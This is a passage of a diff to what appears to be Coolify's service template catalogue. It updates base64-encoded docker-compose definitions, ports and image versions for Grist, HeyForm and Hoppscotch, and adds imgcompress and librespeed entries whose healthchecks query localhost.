"c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfODQ4NAogICAgICAtICdBUFBfSE9NRV9VUkw9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9QT1JUPSR7VFlQRU9STV9QT1JUOi01NDMyfScKICAgICAgLSAnVFlQRU9STV9MT0dHSU5HPSR7VFlQRU9STV9MT0dHSU5HOi1mYWxzZX0nCiAgICAgIC0gJ1JFRElTX1VSTD0ke1JFRElTX1VSTDotcmVkaXM6Ly9yZWRpczo2Mzc5fScKICAgICAgLSAnR1JJU1RfSEVMUF9DRU5URVI9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L2hlbHAnCiAgICAgIC0gJ0dSSVNUX1RFUk1TX09GX1NFUlZJQ0VfRlFETj0ke1NFUlZJQ0VfRlFETl9HUklTVH0vdGVybXMnCiAgICAgIC0gJ0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkw9JHtGUkVFX0NPQUNISU5HX0NBTExfVVJMfScKICAgICAgLSAnR1JJU1RfQ09OVEFDVF9TVVBQT1JUX1VSTD0ke0NPTlRBQ1RfU1VQUE9SVF9VUkx9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3QtZGF0YTovcGVyc2lzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gInJlcXVpcmUoJ2h0dHAnKS5nZXQoJ2h0dHA6Ly9sb2NhbGhvc3Q6ODQ4NC9zdGF0dXMnLCByZXMgPT4gcHJvY2Vzcy5leGl0KHJlcy5zdGF0dXNDb2RlID09PSAyMDAgPyAwIDogMSkpIgogICAgICAgIC0gJz4gL2Rldi9udWxsIDI+JjEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=", "tags": [ "lowcode", "nocode", @@ -1902,7 +1902,7 @@ "category": "productivity", "logo": "svgs/grist.svg", "minversion": "0.0.0", - "port": "443" + "port": "8484" }, "grocy": { "documentation": "https://github.com/grocy/grocy?utm_source=coolify.io", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2030,7 +2030,7 @@ "hoppscotch": { "documentation": "https://docs.hoppscotch.io?utm_source=coolify.io", "slogan": "The Open Source API Development Platform", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9IT1BQU0NPVENIXzgwCiAgICAgIC0gJ1ZJVEVfQUxMT1dFRF9BVVRIX1BST1ZJREVSUz0ke1ZJVEVfQUxMT1dFRF9BVVRIX1BST1ZJREVSUzotR09PR0xFLEdJVEhVQixNSUNST1NPRlQsRU1BSUx9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QGhvcHBzY290Y2gtZGI6NTQzMi8ke1BPU1RHUkVTX0RCfScKICAgICAgLSAnREFUQV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0RBVEFFTkNSWVBUSU9OS0VZfScKICAgICAgLSAnV0hJVEVMSVNURURfT1JJR0lOUz0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kLCR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9LCR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTPSR7TUFJTEVSX1VTRV9DVVNUT01fQ09ORklHUzotdHJ1ZX0nCiAgICAgIC0gJ1ZJVEVfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfU0hPUlRDT0RFX0JBU0VfVVJMPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX0FETUlOX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9hZG1pbicKICAgICAgLSAnVklURV9CQUNLRU5EX0dRTF9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfV1NfVVJMPXdzczovLyR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX0FQSV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC92MScKICAgICAgLSAnVklURV9BUFBfVE9TX0xJTks9aHR0cHM6Ly9kb2NzLmhvcHBzY290Y2guaW8vc3VwcG9ydC90ZXJtcycKICAgICAgLSAnVklURV9BUFBfUFJJVkFDWV9QT0xJQ1lfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3ByaXZhY3knCiAgICAgIC0gRU5BQkxFX1NVQlBBVEhfQkFTRURfQUNDRVNTPXRydWUKICAgIGRlcGVuZHNfb246CiAgICAgIGRiLW1pZ3JhdGlvbjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfY29tcGxldGVkX3N1Y2Nlc3NmdWxseQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBob3Bwc2NvdGNoLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotaG9wcHNjb3RjaH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGRiLW1pZ3JhdGlvbjoKICAgIGV4Y2x1ZGVfZnJvbV9oYzogdHJ1ZQogICAgaW1hZ2U6ICdob3Bwc2NvdGNoL2hvcHBzY290Y2g6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hPUFBTQ09UQ0hfODAKICAgICAgLSAnVklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTPSR7VklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTOi1HT09HTEUsR0lUSFVCLE1JQ1JPU09GVCxFTUFJTH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREJ9JwogICAgICAtICdEQVRBX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfREFUQUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdXSElURUxJU1RFRF9PUklHSU5TPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQsJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0sJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M9JHtNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTOi10cnVlfScKICAgICAgLSAnVklURV9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfScKICAgICAgLSAnVklURV9TSE9SVENPREVfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfQURNSU5fVVJMPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdWSVRFX0JBQ0tFTkRfR1FMX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL2dyYXBocWwnCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9XU19VUkw9d3NzOi8vJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfQVBJX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL3YxJwogICAgICAtICdWSVRFX0FQUF9UT1NfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3Rlcm1zJwogICAgICAtICdWSVRFX0FQUF9QUklWQUNZX1BPTElDWV9MSU5LPWh0dHBzOi8vZG9jcy5ob3Bwc2NvdGNoLmlvL3N1cHBvcnQvcHJpdmFjeScKICAgICAgLSBFTkFCTEVfU1VCUEFUSF9CQVNFRF9BQ0NFU1M9dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgZGItbWlncmF0aW9uOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9jb21wbGV0ZWRfc3VjY2Vzc2Z1bGx5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIGhvcHBzY290Y2gtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBkYi1taWdyYXRpb246CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", "tags": [ "api", "development", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": 